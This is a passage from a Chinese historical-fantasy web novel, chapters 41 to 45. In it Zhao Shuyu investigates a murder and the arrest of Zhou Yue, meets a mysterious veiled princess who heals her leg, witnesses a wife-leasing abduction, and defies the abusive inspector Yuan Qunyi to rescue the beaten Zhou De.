“只是我腿脚行动不便,能如拖着腿来到这儿已是不易,腿伤疼痛,又想该如何悄无声息地离开而不被发现,谁知你从一开始就发现了,还刻意避开重要的话题,我就是想听,也不知该从何听起。”
李惟初“哦”了一声,道:“所以你是听到锦夏对你说我受伤了,才来的是吗?”
赵疏玉闻言怔愣一瞬,猛地抬头对上他疏懒的目光,她道:“你怎么知道是锦夏告诉我的?”
李惟初眯了眯眼睛,轻哼一声走回内室,内室中响起他褪衣的声音。
赵疏玉连忙别过脸不去看漆黑的内室。
漆黑的内室中传来李惟初低笑的声音,他道:“这是本官的县衙,谁做了什么,说了什么,本官可都一清二楚。”
“包括……”他声一沉,道,“你让锦夏给凉丝递银子的事,我都知道。只不过她想必是吓得不轻,亲眼目睹本官与维寻被刺杀现场。”
赵疏玉却蹙眉问道:“这场刺杀也是你早有预谋,是吗?”
李惟初坐在床上,劲瘦的肌肤上露出几道血淋淋的伤痕,血如今已是流干,结了一层血痂在血口上,内室中传来毛巾湿水,擦拭身体的声音,仔细听或许还能听到男人几声压低闷沉的闷哼声。
李惟初的声线不变,可额上却是青筋凸起,他道:“如你所说,我非先知,怎可预料今日之事?再者,查抄赌坊之事原是保密,谁人能如此之快在路上设下刺杀?这府中奸细未尽啊。”
赵疏玉冷笑一句,“是啊,这县衙早在袁群毅来之后就已经漏成筛子了,可不见得是奸细未尽。”
“是吗?”李惟初低低笑了一声,黑暗中他摇了摇头,道,“袁群毅算个什么东西,他也配在我的地盘造次
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“不造次?你敢说刘世尧暴毙与今日刺杀之事没有半分干系吗?”
内室沉默良久,随后“啪”的一声,沾着血痂的毛巾被扔回盥洗盆中,李惟初的声音旋即响起,“袁群毅不知道我要去查抄赌坊。”
“你确定吗?”赵疏玉仍是不相信。
自从袁群毅来到县衙,这几乎都成了他的老巢,若说消息没有一丝一毫的泄露,她可不信。
“自然。我敢保证。”李惟初冷冷沉声道。
他既不说究竟,赵疏玉也无法全然信他,只耸耸肩,而后撑着桌子费力站起,道:“今夜多有叨扰,还望见谅。”
“无碍。”
内室里窸窸窣窣的声音响起,赵疏玉猜测他应当是盖好被子准备睡了。
临走时,赵疏玉又问道:“你那满盆的血水不收拾,是等着明日袁巡抚来慰问时你好演戏么?”
李惟初不答,恰是这一沉默证实了赵疏玉的猜测。
她无声地在黑夜中勾勒了一下嘴角,而后一瘸一瘸地开门走了出去。
一开始赵疏玉对他的沉默感到十分恼火,不知道为什么他要逃避问题。
现如今赵疏玉便知道李惟初的沉默,不是在逃避问题,而是不想被人猜中自己隐秘的心思。
任谁隐藏着的小秘密被当场戳破都不会承认的。
一言以蔽之,好脸面。
在回去的路途,夜晚的凉风吹在赵疏玉的脸上十分惬意,只不过天气渐渐转凉,这夜晚的风倒逐渐变得冷冽起来。
赵疏玉的脑海中回想着李惟初那一句‘我敢保证。’的话。
在回忆这句话的同时脑海中忽然闪过那个女子,李惟初口中的“殿下。”
她敢在半夜无人前来李惟初的房屋,想必是绝对放心。
若袁群毅真漫天安插眼线,那么李惟初的房屋绝对是一个重灾区。
因为一个人的卧房中总是隐藏着诸多秘密。
若抓寻到一分一毫,都有可能成为在朝堂上攻击李惟初的利刃。
她既敢来,自然是做好完全的准备,更重要的是李惟初的防守。
这样看来,李惟初那番肯定的话语似乎就有了几分可信度。
只是,李惟初口中的奸细未尽,又是谁?
那张查抄赌坊的单子究竟还谁看过?
他又为何这般笃定县衙之中还有奸细的呢?
正垂眸认真思索间,锦夏忽然在她的眼前出现。
她惊喜地大喊一声,“赵姐姐!”
锦夏怀中一直揣着那根拐杖在门口等着赵疏玉,见黑夜中她的黑影影影绰绰而来,她即刻便迎上去。
赵疏玉的右腿隐隐作痛,她架着拐杖腾空那条腿,支撑着走到床边,锦夏扶着赵疏玉坐下,又将拐杖拿到一边,帮她拖了鞋子又给她盖好被子。
待一切做完后,她坐在赵疏玉的床边,嘟嘴地问她道:“赵姐姐你做什么去了,怎么这么晚才回来。”
这样的话语,倒让赵疏玉猛然闪过一丝错觉。
自己怎么这么像一个夜不归宿的渣男呢?
42. 即将相见
“咯——”
一声响亮的鸡鸣划破天际,嘹亮之中带着一丝嘶哑。
“不好了!不好了!”
锦夏急急忙忙闯进来,满脸惊慌地叫醒赵疏玉,“赵姐姐,赵姐姐你快醒醒,醒醒!”
她本睡在与赵疏玉一屏之隔的榻上,凌晨之时她便悄悄退了出去,给赵疏玉煎药,又干起自己的活。
可今晨如影一脸土色地走进县衙,身后两三个人五花大绑着一个女人把她押进了大牢。
锦夏躲在柱子后面,将这女子的容貌看得个真真切切。
大饼脸,粗眉毛,大鼻头,长相十分粗狂。
仅一眼,锦夏便认出在这女子的真实身份——周玥。
赵疏玉迷迷糊糊地被她叫醒,启口哑着声问道:“怎么了?发生什么事了吗?”
“赵姐姐,周玥姐姐被维寻抓起来了!”
一句“周玥被抓起来”赵疏玉瞬间清醒。
她几乎是立刻睁开眼睛,从床上弹起身子,瞪大眼睛问锦夏道:“她被抓起来了?为什么?”
锦夏摇摇头。
“不知道……赵姐姐,此事会不会连累到你啊?我,我害怕。”
锦夏眼中投射出担忧的色彩,内心十分焦灼不安。
她一方面不希望赵疏玉再卷进这些事情之中,一方面她也很着急周玥的事情。
周玥的事情如果让赵姐姐忧思,如此一来,也是不利于她养病的。
“赵姐姐……”
锦夏抬头看去,只见赵疏玉双唇紧抿,神色定定,她心中便有一种不好的预感。
“姐姐,你要管这件事……是吗?”
赵疏玉不答,可她的沉默却正好印证这句话的答案。
锦夏垂眸,深深觉得其不妥,可也想不出什么理由能够阻止她。
“赵姐姐,你腿伤还没有好。想必这次的事也是袁群毅在背后使坏,赵姐姐你的腿就是……”
“况且姐姐的腿如今还没大好,季太医三令五申要姐姐静养。”
赵疏玉摇摇头,她叹了口气,“周玥不能再有事了。”
“周德如何?”
锦夏抿唇笑了一下。
“一切都好。就除了姐姐,你……”
“好了。”赵疏玉梳妆后仰首一口喝完锦夏递来黑糊糊的汤药,道:“这几个月在床上歇着都快长草了。一时间这也不能去,那也不能走,把我当什么珍稀物种关着,实在是憋得慌。”
锦夏瘪瘪嘴,心中默默吐槽,无奈想道:‘姐姐几乎每天都要拄着拐杖趁人不注意偷偷跑出去好吗……哎,真是令人不省心。’
赵疏玉整装待发,穿了一件深蓝色劲装,梳了一个简单又不挡眼睛的堕马型发型。
正惊叹于锦夏的手很巧时,外头却早已闹翻了天。
周德得知周玥被抓进县衙,一大早便来县衙闹腾,袁群毅刚想治他不敬的罪。
维寻身在病中,而李惟初也“身负重伤”。
而他极力反对袁群毅的做法,认为此乃人之常情,躺在病床上仍殚精竭虑,吩咐如影大棒子将他赶出县衙。
袁群毅被当众驳了面子,气得一脚踹飞了如影,立马找上李惟初,将他从病床上拖起,一剑将给李惟初医治的郎中一剑穿胸,又吩咐谁人都不许给他医治。
并勃然大怒道:“谁敢给李惟初医治,就是在跟我袁群毅对着干!”
撂下这一句话之后,众人皆知袁巡抚其势汹汹,雷霆震怒,不敢再轻举妄动。
这明明是李惟初的管辖下的江南,却莫名其妙地被袁群毅鸠占鹊巢,而一向雷厉风行的李惟初却在此时做了缩头乌龟,一避再避,一退再退。
连如影都看不下去了。
“县令!您为何纵的这小人兴风作浪!依我看不如随意找个夜黑风高的夜晚,一刀封喉!”说完,他还恶狠狠地做了一个抹脖子的动作。
而李惟初却摇头,他制止如影,“切莫轻举妄动,再等等吧。”
“等?等到什么时候!?等到袁群毅将这整个江南收入他的囊下吗?!”
如影一开口,凉丝立刻注意到李惟初的面色猛地一沉,他赶忙捂住如影的口,道:“快别说了!主上有什么想法岂是你我可以置喙?你说的这些话又将主上置于何地?你可有十个脑袋被我砍吗?”
“我!”如影瑟缩了一下脖子,但好歹止住了话头,只是仍打抱不平。
“可是袁巡抚也太无礼了!他这么做,可有半分朝廷大员的气节吗?”
出乎意料的,李惟初并未怪罪如影的出言不当,反而是冷笑一声,“朝廷大员?他也配?”
他几乎是紧紧咬着后槽牙才说出来的这话,陈年往事好似化为熊熊火焰在他的双眼中燃烧。
凉丝虽不知陈年究竟发生了什么事,但他的内心却感到莫名不安。
可他们都是下属,无法出言。
忽然这时,有敲门的声音在外响起,李惟初立马平身躺好,给了如影一个眼神。
如影接收到他的示意,双眸凛冽,小心翼翼却又警惕万分地走到门后,冷声开口询问,“谁?!”
仿佛只要开口的是任何一个无关紧要的人,如影就会立马拔出握在手中的短刃。
门外传来一声熟悉而又平静的声音。
“赵疏玉。”
不知怎的,如影松了口气,回头将目光看向李惟初。
李惟初闭着眼睛,朝他轻轻点了点头。
随后他放下握在手中的剑柄,对门外的人道:“赵姑娘,县令请您进来。”
话音刚落赵疏玉便推门而入。
她还未开口说话,只听李惟初慢悠悠的声音响起。
“早知你闲不住,果不其然,如影前脚刚将周玥抓进县衙,后脚你便来了。”
“县令早知我是多管闲事的性子,如今还要拦着我吗?”
李惟初从床上坐起身,一脸严肃地端详着赵疏玉认真的小脸。
“自然没有这个意思。”李惟初淡声道。
他如今“身负重伤”不便出行,他的暗卫们自是另有他事而做,如今调查周玥之事自然落在赵疏玉的头上。
“我给过你一块令牌,你可佩戴了?”
赵疏玉摇摇头,她解释道:“这等象征着权利的物品,我自是不敢大摇大摆地戴着,免得遭人侧眼。”
李惟初轻嗯
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了一声,明知故问道:“你今日想来做何事?”
“你既心知,又为何明知故问?”赵疏玉此行并不想和他兜绕什么圈子,直接开门见山道,“周玥之事,想必和刘世尧之死脱不了干系吧。”
李惟初眼中露出一丝兴味,“说说看。”
“刘世尧刚死第二天,周玥就被抓了,而她又在刘府,这不是杀人凶手,还能是什么?”
李惟初听罢,只点了点头,说道:“有理。你还记得我二人去药玉坊之前去的那处府邸吗?”
赵疏玉不知他是不是还疑心自己用心不轨,刻意问出这句话,还只是随口一问。
不过她并不想身缠过多的琐事,于是摇头,斩钉截铁道:“只走过一次的路,我自然不会记得。”
李惟初对此回答并没有什么反应,只是道:“既然如此,如影……”
他眼神示意了一下如影,道,“你便带赵姑娘去吧。”
如影对待任务时的态度与平常爱说笑的样子截然不同,他敛下神色,领命道:“属下遵命。”
赵疏玉却拧紧双眉,问他道:“那是个什么地方?”
李惟初一挑眉,他道:“你并不需要知道。”
“我自然要知道。”赵疏玉道,“若是什么龙潭虎穴,我可不就行差踏错,到落得个掉进你陷阱的下场?”
“你我如今是一条船上的人,我何必害你呢?”
李惟初见她还是一脸狐疑的神色,无奈地叹了口气,只好松口道:“你所见之人即为昨晚之人,你想做什么自与她去说,她会成全你。”
赵疏玉仍紧拧双眉,对他的话存有一丝怀疑。
只不过时间紧迫,估计袁群毅此时已在审问周玥了。
而一旦周玥认罪画押,那么一切都来不及了。
想到此处,赵疏玉更觉此时便是一分一秒都十分急切,不容浪费!
“事不宜迟。”她回头看向如影,“我们还是赶快走吧。”
如影最后看了一眼李惟初和凉丝,而后领命带着赵疏玉走了。
一路上如影拽着赵疏玉的衣领在房檐上飞檐走壁,赵疏玉发誓,这是她这一辈子最狼狈的时候。
如果她的腿没有伤,她就不会这么屈辱地被如影拽着衣袖,像拎小鸡一样拎着她。
想着,她紧闭双眼,暂且不去看和想自己的狼狈。
一番雷电迅驰之后,她稳稳落在那处房宅的内院。
而在他落入内院的一瞬间,四面八方围来一群女婢,她们身着一袭嫣红色衣装,皆十分警惕地看着他们二人。
如影倒像是见怪不怪,对其中一个穿着有些不同,与其他婢女们衣裳上的红色更深一些。
他有礼道:“姑娘们,属下奉主上之命来求见你家主子。”
那婢女自是认得如影,将目光转向赵疏玉。
她知道婢女们是不信任自己的身份,于是她众目睽睽之下从劲装的衣袖中掏出一块令牌。
——她明明跟李惟初说过,她没有带令牌。
李惟初果然还是不信她说的话。
赵疏玉将令牌展示在众人面前,而后对为首的那人说道:“我要见你们殿下。”
43. 殿下真面
一只细嫩洁白的柔荑缓缓打开一直紧闭的屋门。
里头传来一声靓丽清冷的女声:“思齐。”
思齐回头望了一眼屋中的女子,抬手对包围了他们一圈的侍婢抬手一顿,剑拔弩张的气氛瞬间烟消云散。
思齐脸上的警惕减了半分,礼貌地朝赵疏玉与如影弯了下腰,抱拳道:“二位,唐突了。”
赵疏玉则是一脸不在乎地挥了挥手,如影更是什么话也没有说。
他偏首看了一眼赵疏玉,朝她挤眉弄眼一下,笑道:“赵姑娘自是进屋与殿下说事,属下在门外等候姑娘。”
说罢他转身一溜烟没了身影,独留赵疏玉一人站在原地。
彼时,她便犹如砧板上的鱼肉,任人宰割。
警惕心一瞬间到达顶峰,赵疏玉着意望了眼四周,最后抬步硬着头皮走进屋门。
那位“殿下”自始至终都没有抛头露面,这便说明她的身份不便示于人前。
又或者,在这个江南之中有人认识她。
故而她才一直掩面,不愿将真面目示于人前。
“赵姑娘足智慧仁,可应当知晓什么该说,什么不该说。是吗?”
女子端坐在层层纱帐之后,朦朦胧胧地勾勒出她绰约的身影。
赵疏玉止步于纱帐前,眼眸低垂,余光却在悄悄打量着她。
她的武功非凡,几乎一息之间瞬息万变。
赵疏玉并未说话,而是先将目光扫视一周,她轻嗯了一声,回她道:“殿下也没有任何理由杀我。”
闻言,端坐在柔软榻上的女子轻泄出一丝笑来,她没有掩面,而是痛痛快快地仰面笑了一声。
她站起身走过帘子,手中一把金丝绣着牡丹的团扇轻轻挑起赵疏玉的下巴。
被称作“殿下”的女子并没有用居高临下的眼神看赵疏玉,一双潋滟水波的凤眼底掩盖不住满眼的惊奇与一丝隐藏的雀跃。
“赵疏玉,是叫这个名字吗?”
她又将抵在赵疏玉脖子底下的团扇往上抬了一下,翕张着朱唇。
赵疏玉不喜欢这样仰视别人,她微蹙了一下眉头,而后将脸微微偏到一边,淡声道:“是。”
“真是一个有趣的人。”
她忽然展颜笑开,一张白纱之后的脸明艳动人。
赵疏玉一直用余光打量着这位“殿下”。
看到她毫无厘头地笑了一声,简直和昨夜杀气腾腾,目光犀利的女子判若两人。
如此一来,赵疏玉更加警戒。
“好了。”殿下收回握着团扇的手,轻轻摇了两下,香风浮动,吹动她覆在脸上的面纱。
她声音柔柔,语调却很沉静平稳,“李惟初既然把令牌给了你?倒是稀奇。”
不等赵疏玉疑问,这位殿下蹙起一双好看的眉,顷刻间便松开,她悠悠然转身又转回内室,重新坐回榻上。
她拢了拢身上一袭明媚朝阳的红衣,这衣裳不知是用什么绸缎做的,在阳光之下竟然还会隐隐透着七彩的颜色。
这就算是在人群之中也是十分夺目耀眼。
她边拢衣裳边状似不经心道:“说吧,找我做什么?”
赵疏玉如实冷静地回答这个身份高高在上的女子:“外面天翻地覆,刘世尧死了,凶手竟然是一个手无缚鸡之力的妾室所杀,实在可疑。”
“刘世尧死了啊……”她好似故意拉长语调,转而沉声道,“他是该死。不早不早。”
说罢,她又笑道:“手无缚鸡之力的女子?”
不知是不是赵疏玉的错觉,她听到屏风后面的女子竟然轻轻笑了一声。
“那可不见得。”
赵疏玉并不知道她说的话中意有所指是何,只是如今不是纠结这个问题的时候。
她首要的目的就是要进刘府。
可还没等她开口,只听殿下已经先答了出来。
“你想进刘府查线索,来证明袁巡抚抓的凶手是错了,是吗?”
殿下这个问题一问,赵疏玉点了点头。
“周玥不会杀人。”
“那可未必。”殿下摇摇头,她道,“知人知面不知心。”
赵疏玉依旧持有原来的观点。
殿下也不欲与她辩驳谁是凶手,而是道:“如今你的左腿还有伤势未愈……”
未等她说完,赵疏玉立刻就接上话。生怕再多等一秒她的计划就会全部泡汤。
“殿下!我的腿已经没事了。”说着她急着证明自己,竟是原地跳了几下,关节出立马传来一声清脆的响声。
一阵剧痛来袭,赵疏玉疼得眼前一晕。
屏风内的女子轻叹一口气,她起身从旁边的梳妆台上拿起一个小药瓶,走到赵疏玉身边。
“断了?”
“没有。”
“那就坐好。”
赵疏玉实在是疼痛难耐,她忍着剧痛坐好。
古代的医疗水平太低,没有手术治疗,而是只用汤药治着,卓
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效甚微。
殿下蹲下身子,红色的裙摆落在她的手边,赵疏玉的手指微微发颤,她轻吸一口气,“这是什么药……有点清凉,还有这个味道……”
好熟悉。
像是她用过风油精的味道。
趁着赵疏玉愣神之际,只听“啪嗒”一声,又是几根针下去,她的腿有种肿胀的感觉,方才那种骨头断裂错位的疼痛一去不返。
正待她准备再细究殿下是用了什么手法时,她已经给她涂上一层薄薄的药,并将衣裙飞速覆在她腿上。
她缓缓站起身,对赵疏玉眼中的探究视若无睹,只道:“你起身看看好走了吗?”
闻言,赵疏玉心存疑虑地看了她一眼,半信半疑地搀着她的手借力站了起来。
她的腿竟然能走了??!
赵疏玉感到无比震惊。
经过殿下的一番治疗之后,她本受伤不能用力的腿竟然一下子恢复如初了?
那到底是什么神药??
赵疏玉满心疑虑。
脑中正盘算着某个念头时,搀着她右手的女子忽然松开了手,赵疏玉手掌悬空,迅速回神。
“你想什么时候去刘府?”女子云淡风轻地问了她一句。
赵疏玉思量了一下,她道:“我先去刘府看看。”
殿下既没有肯也没有否,她道:“袁群毅的耳目众多,想必刘府也有不少他的耳目。”
赵疏玉点了一下头,示意她明白。
“子时最是夜深人静,我选在这时候进去。”
殿下嗯了一声,她只道:“我会派人安排好一切,如有证据最好,若没有……”
她的眸中迸射出一道寒光,“你就得付出代价。”
“明白吗?”
赵疏玉眸光微敛,她淡声道:“知道了。”
“去吧。”
逐客令一出,门口的大门瞬间打开。
思齐在门外朝里面看了一眼赵疏玉,似乎在告诉她时间已经到了,再不走自己就要把她扔出去了。
赵疏玉也并不是自讨没趣的性子,加上如今腿也能自由走动了,她似是想都不想,转身便从出了门。
而在她出门的那一刻,身后的门立刻关起,殿下便端坐在门后,层层叠叠的纱帐之下一双好似洞悉一切的双眸正盯着赵疏玉的背影。
而后她的唇边缓缓勾起一抹微笑。
赵疏玉。
你会帮我的。
你一定会帮我的。
44. 当街强抢女子
如影不知从何处忽然蹦出,他朝赵疏玉行了个礼,道:“姑娘是要回县衙吗?”
赵疏玉抬头望了一眼夜幕还未降临的天空,心觉时辰尚早,于是点点头,对如影应道:“先回一趟县衙吧,我还有些事需要去……”
剩下的话她未说出口,如影心知肚明地往前看去,为赵疏玉带路。
回县衙的路上,因二人皆无事,走在回县衙的路上不慌不忙,赵疏玉也侥幸偷得浮生半日闲,打量起街道两侧的商贩来。
秩序井然,道路两侧几乎挤满了人,沸沸扬扬,热闹非凡。
赵疏玉惊奇地端详着古代的销售方式,与现代的网购有着截然不同的风格。
镶满宝石的发簪琳琅满目地躺在精致的布匹上,在自然光的照射下熠熠发光,十分耀眼夺目。
这些簪子的花样繁多,她从未见过,一时间竟被迷住了眼。
如影这时候却突然凑过来,他拾起一根发簪,只见这根纯碧玉清透的发簪末端包裹着一小点黄金,几条流苏泠泠垂下,相碰在空中发出清脆的撞击声。
赵疏玉看见这簪子的一瞬间便想到沈怀夕,她的发疯与簪子脱不了干系。
如影若有所思地道:“原来赵姑娘喜欢这样的簪子吗?”
赵疏玉立马摇头,否认道:“不,不是的。我只是很惊奇……”
“惊奇?”如影一双大大的眼睛里充满了疑惑,“赵姑娘怎会觉得惊奇?”
这本不就是女子们头上天天带着的东西吗?怎么好端端就会觉得惊奇呢?
赵疏玉神色无异,她淡定地解释道:“我从小无父无母,很少接触到这些东西……发簪和木棍,又有什么区别呢?”
“都是盘发需要用到的东西,只不过一个好看一点,一个朴实一点。”
此言一出,如影的脸色一变,不自然地摸了摸后脖颈,他带有歉意地一笑,“抱歉……”
赵疏玉却早已习惯了,她的神色并没有异常,她轻飘飘地回道:“无碍。”
随后她便将视线转向其他地方。
如影的目光在这根簪子上停留几秒,而后看了那商贩一眼,商贩立马笑兮兮地接过这根簪子,转眼间它不见了,再也没有出现在展品中。
正走着,街上忽然又响起一阵喧嚣,一声女子的凄厉哭啼喊叫声打破了本热闹和谐,一片祥和的街市。
街上的人都转过头,本热闹的集市一瞬间静默下来,而后又接着喧嚣起来,只是众人的目光却纷纷打量在女子的身上。
一个容色姣好的女子浑身被绑满绳索,身后几个大男人面红耳赤地追逐着,口中不停叫骂着。
“臭娘们!跑什么跑?!再跑把你腿打断!”
“老子好心收留你,你敢这么对老子!?”
“追!给我追!谁给我把这娘们抓到,我赏他十两黄金!”
为首一个大腹便便的男子大力地迈着粗腿,紧追着那向前奔跑的女子,却最终因为体力不支而气喘吁吁地弯下腰,撑着双腿,两股战战。
可他的眼神中却对眼前那个疯狂逃命的女子充满了贪婪与渴望。
好像她是什么即将入口的羔羊,是他的盘中之餐。
赵疏玉的目光也随着众人一齐聚焦在这个逃命的女子身上。
若在放在现代,或许会有几个热心肠的市民出手伸张正义,将女子揽入身后,与歹徒进行一场酣畅淋漓的斗争!
而放在这儿,不仅无人问津,冷眼相待,甚至还有人出手阻拦,不让她跑的!
几个老哥死死蹙着眉,像看蝼蚁一样看着她,像铜墙铁壁一般堵在那女子的身前,将她三百六十度无死角围成一个圈,大有让她插翅都难飞的架势。
女子曼妙的身姿忽然脚下一软,伏在地面,以手附面大悲,呜呜哭号起来。
赵疏玉感受到她哭泣之下掩藏着深深的绝望与哀恸。
她的目光呆滞,穿过围墙的缝隙,直直与赵疏玉对视,她的眼神中不再有反抗,被几人强扯着拖起来时,眼神也没有一丝动容,只是低低地垂着眉眼,变得极为乖顺。
像是意识到,她会被关进囚笼里一辈子,而变得麻木、空洞、呆滞。
赵疏玉的指尖一动,她刚想一个箭步冲上前去——而就在她脚要离地的一刹那,身后却倏地传来如影的声音。
“赵姑娘,主上还在县衙等着姑娘,姑娘切莫节外生枝。”
赵疏玉蹙眉回头问如影,语气中带着一丝不解,“青天白日,朗朗乾坤,就在街市上强抢民女?这到底还有没有王法了?”
许是这句话说得太大声,引来旁边人的侧目,他们都以一种看另类的眼神注视着她,但又在看清赵疏玉身边跟着的是县令身边的亲卫之后,他们只能悻悻收回目光,加快脚步离去。
如影提醒道:“赵姑娘请慎言。”
他看了一眼周围的目光,提醒她道。
赵疏玉也不知是怎么了,将方寸丢到九霄云外了。
她沉默不语,转头看向那名女子被拖走的方向,若有所思。
如影却在这时候问道:“不知赵姑娘有没有看到中间那男人的手中可拿了什么东西吗?”
听到如影这话,赵疏玉这才仔细回想起来,她不确定地问道:“你是指他收中拿着的一张白色的纸?”
如影点点头。
她不解地问道:“那是什么东西?”
“典妻契。”
简单的三个字却犹如惊雷在赵疏玉的心间砸出一个水洞涟漪。
她的脸色登时一变,心头不知怎么的一凉,看向那女子被拖走的北影时,她眸中的怒火不知怎么变得更加欲烈。
“她是人,不是物件!”
“如何能被一个毫不相干的男人典来典去!?”
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说罢,她大袖一挥,袖下的拳头紧紧捏起,怒气冲冲地转身而去。
如影抬手,他欲言又止,想了半刻,他还是放下手。
他主子只让他护好赵疏玉的安全,其他的,不是他一个下人该管的事情。
她低着头,眼珠不停地在眼眶中转动,似乎在飞快急速地思考着什么对策。
正快步走着,不一会儿便到了县衙。
那边一波未平,这边却是一波又起。
守门的两个小厮看到赵疏玉来了之后,其中一个小厮五步并三步地快速下台阶,在赵疏玉的耳边急迫地低语几句。
只寥寥听了几句话,赵疏玉便立马瞥了小厮,一个箭步冲进县衙里,一路奔到正堂。
只看到周德口鼻出血,一脸血污地趴在长凳上,双目微睁,奄奄一息。
赵疏玉提起裙摆刚想进入,却被袁群毅身边的人给拦住,下一刻,袁群毅便从正堂的宝座上缓缓站起,十分威严地质问道:“门外何人?!可有指令?!为何硬闯公堂!?”
这三连问却是让赵疏玉的头脑渐渐冷静下来。
她深吸一口气,缓缓吐出,“袁巡抚,陛下派巡抚监视各州县,身份贵重,不堪言说,只审案却并无没有文书证人便可定案行刑的道理,否则,便算是使用私刑。”
“若真把人打死了,从县衙抬出去一条人命,李县令如今身负重伤,卧床不起,这县衙中唯有袁巡抚你一人独揽大局,此事若传出去,恐会影响大人爱民如子的官声,若是被有心人给传进陛下的耳中,不知陛下是会嘉奖巡抚,还是惩处呢?”
说罢,她不惧地抬起头,与袁巡抚对视,孔武有力地挺起胸脯,“还望巡抚三思!”
袁群毅不知是被气的,还是被她这副天真,一脸正义凛然的模样给逗乐了,他歪着嘴冷笑了一声,“你不要给我说这些冠冕堂皇的话,不过是一条贱命,没了便没了,在你赵姑娘眼里那是人命关天,可在我眼里,却是……”
他着重咬了一下后头的字,“无足轻重得很。”
说罢他狠狠踩在周德的身上,斜着眼,眼中带着一抹戏谑的光彩,看向赵疏玉,“他恶意辱骂诋毁朝廷命官,还企图硬闯县衙,营救重囚犯……这条条,哪一条不该打?嗯?”
赵疏玉紧紧捏着拳头,她一把掀开拦住她的两个人,不惧刀光尖利,她一脚一个踹飞他们,他们捂着胸口倒在地上。
袁群毅却没有丝毫的惊讶,只依旧不知所以地盯着她看。
她挡在周德身边,锋利的眼神与袁群毅懒散和玩味相交,电石火光之间,擦出一道十分响亮的火花。
“谁的地方谁管!县令抱病,要么由县丞代为掌管,要么由州牧亲自下发官员暂为管理该县,但怎么,都轮不到你一个巡抚来审案!”
袁巡抚指着她大喝一句,“你竟敢对当今圣上不敬?!赵疏玉,你该当何罪!?”
45. 有一件非常重要的事情去做
赵疏玉定定地抬起头,目光看向袁群毅时涌上一抹烦躁,紧拧的眉间透出几分厌倦来。
她冷漠地抬眸,沉默地看着袁群毅。
而袁群毅也是从未见过如此大胆的女子,自己都把皇帝给搬出来压她,这女人竟然还昂着首挺着胸看他,似乎并不把他,甚至皇帝放在眼里。
一时间又气又恼,指着她开始骂道:“来人!给我把这个猖狂的女子给我抓起来压入大牢!”
“你说我不敬当今圣上?”
赵疏玉连一点袖子都没让那几人抓到,她挺着腰往前走了几步,目光中更多一丝泰然,“那我们就进京,面圣!我倒看看,是谁自进李县令管辖的江南地带后就一直作威作福,搅乱风云!”
“江南本是个不富庶但安平的地方,自李县令上任以来,杀伤人案件更是历史至少,管辖护卫一方安宁。可自从袁巡抚,您来了之后,接二连三的死人,流水似的抓人打人,毫无章法!竟美名其曰为慷慨陛下之事肝脑涂地,实在是讽刺至极!”
赵疏玉指着身后被大棒打得满口血污的周德,神色更是一凛。
“他到底犯了什么罪?他的父母又究竟犯了什么罪?家破不够,难道周家一家灭了门,袁巡抚才满意是吗?”
袁群毅听她这番话,也不知是气的还是被拆穿真面目之后恼羞成怒,憋得满脸通红,咬紧后槽牙恨恨指着赵疏玉,对她身后那两个手下说道:“你们都是死人吗?竟由得她信口雌黄?!还不快给我把这个自高自大,以下犯上的反贼给我抓起来下狱!?”
“反贼?!”赵疏玉听这话简直要被气笑了!这人信口拈来,颠倒黑白,是非不分的本事,还真是强得很啊!
“你说我是反贼我就是啊?证据呢?抓捕文书呢?若都没有,就凭你一个从京中来的巡抚就可轻易定我的罪了?”
“想都别想!”
说罢,她一把将周德从长凳上抱起来,面目表情地看着那几个拦在门外的走狗。
她凛冽的气场大开,对着他们冷声道:“我可提醒你们,你们若是没有证据定我的罪,我就还是良民,依照大吴律令,谁,都没资格拦着我的去处。滚开!”
她飞快地扫了一眼拦在门前的几人,大有他们再不让位自己就一脚把他们踹飞的既视感。
拦着的人里有一个人轻轻松动,往旁边挪了几步,剩下的几人皆照葫芦画瓢似的往旁边让了几步,空出一个缝隙来,供赵疏玉去走。
赵疏玉就这么大摇大摆地走出县衙,抱着浑身是伤,还在昏睡着的周德招摇过市。
似是想让全江南的人都看看,这位袁巡抚是怎么空口白牙给一个好好的良民定了罪,又是怎么动用私刑,把人给打得遍体鳞伤,半死不活!
走了一圈,赵疏玉走到她安顿周德的地方,将周德小心翼翼地给放到床上,掂着几两碎银,来到医馆,请了郎中好好看一看。
那郎中的眉头先是紧锁,随后慢慢舒眉,轻快地对赵疏玉点点头,道:“小公子无碍,还请姑娘放心。”
赵疏玉朝那郎中行了一个蹩脚的揖礼,那郎中竟瞪着大大的眼睛看着赵疏玉的揖礼,那目光中竟然还带有一丝不可置信的震惊。
而赵疏玉并不觉得有什么不妥的地方,在注意到郎中诧异的目光之后,她还十分疑惑,低头看了看自己的行装。
她一向不喜欢穿那些袖子比较宽大又长的大袖衫,行动不便的同时又十分累赘,所以她更喜欢一身深色劲装,隐蔽的同时又十分便捷。
无疑,她这样的服饰在整个大吴朝的女子中来说,是十分突兀,且不同寻常的。
她以为是自己的衣服惹了郎中诧异,但她也不想过多解释,只道:“那就多谢郎中了。”
她脑中飞快地闪过一个身影,只一刹,赵疏玉又翻出几块银子递给郎中,对他道:“拜托您这几日多费心力,他若早日苏醒,我定深谢郎中。”
说着,她便将银子塞进郎中的手心里。
郎中会心一笑,表示自己会尽心尽力。
他笑着朝赵疏玉揖了揖礼,将银子塞进袖袍当中,道:“老夫定当拼尽一身医术,将小公子从鬼门关拉回来。”
“那就多谢郎中了。”
赵疏玉又朝郎中行了个揖礼。
在郎中奇怪而又莫名的目光中,赵疏玉转身离开,她甫一打开门,凉丝便像一尊雕塑一样竖在门前。
见赵疏玉开门,他立刻开口道:“县令知晓姑娘将周公子救到此处,特命属下来照看一二。”
赵疏玉却是一愣,忽然呢喃,不解道:“……他怎么知道?”
凉丝在说完这一句话之后便消失在原地,转而就跳上了屋顶,似乎觉得太引人注目,他又一蹦跳到旁边的树上,常青树树叶簌簌像风一样吹动着,落下好几片绿叶。
一片绿叶在空中漂浮着左右摇摆着落地,落在一众绿叶中,再分不清它在哪里,又是哪一片叶子。
赵疏玉垂眸,心思却完全落在他方。
李惟初难道知道自己要去做什么事,所以特地将凉丝安排给她,是为了防止袁群毅有什么动作,她不知道是吗?
不,不可能。
李惟初哪是什么为别人着想的性子,他不过是为了他自己,为了他能掌握所有人的风吹草动,以便迅速调整自己的策略罢了。
“啪”的一声,一阵裹挟着寒意的凉风吹来,袖口中一直藏得很好,由上好白玉制成的令牌忽地掉落在地。
思绪被打断,她恍惚了一瞬,看向地上的令牌。
为什么会在并没有取得他信任的时候将这么重要的东西交给自己呢?
为什么?
难不成上辈子做过警察,这辈子的面相看上去很正义,令人忍不住信服吗……?
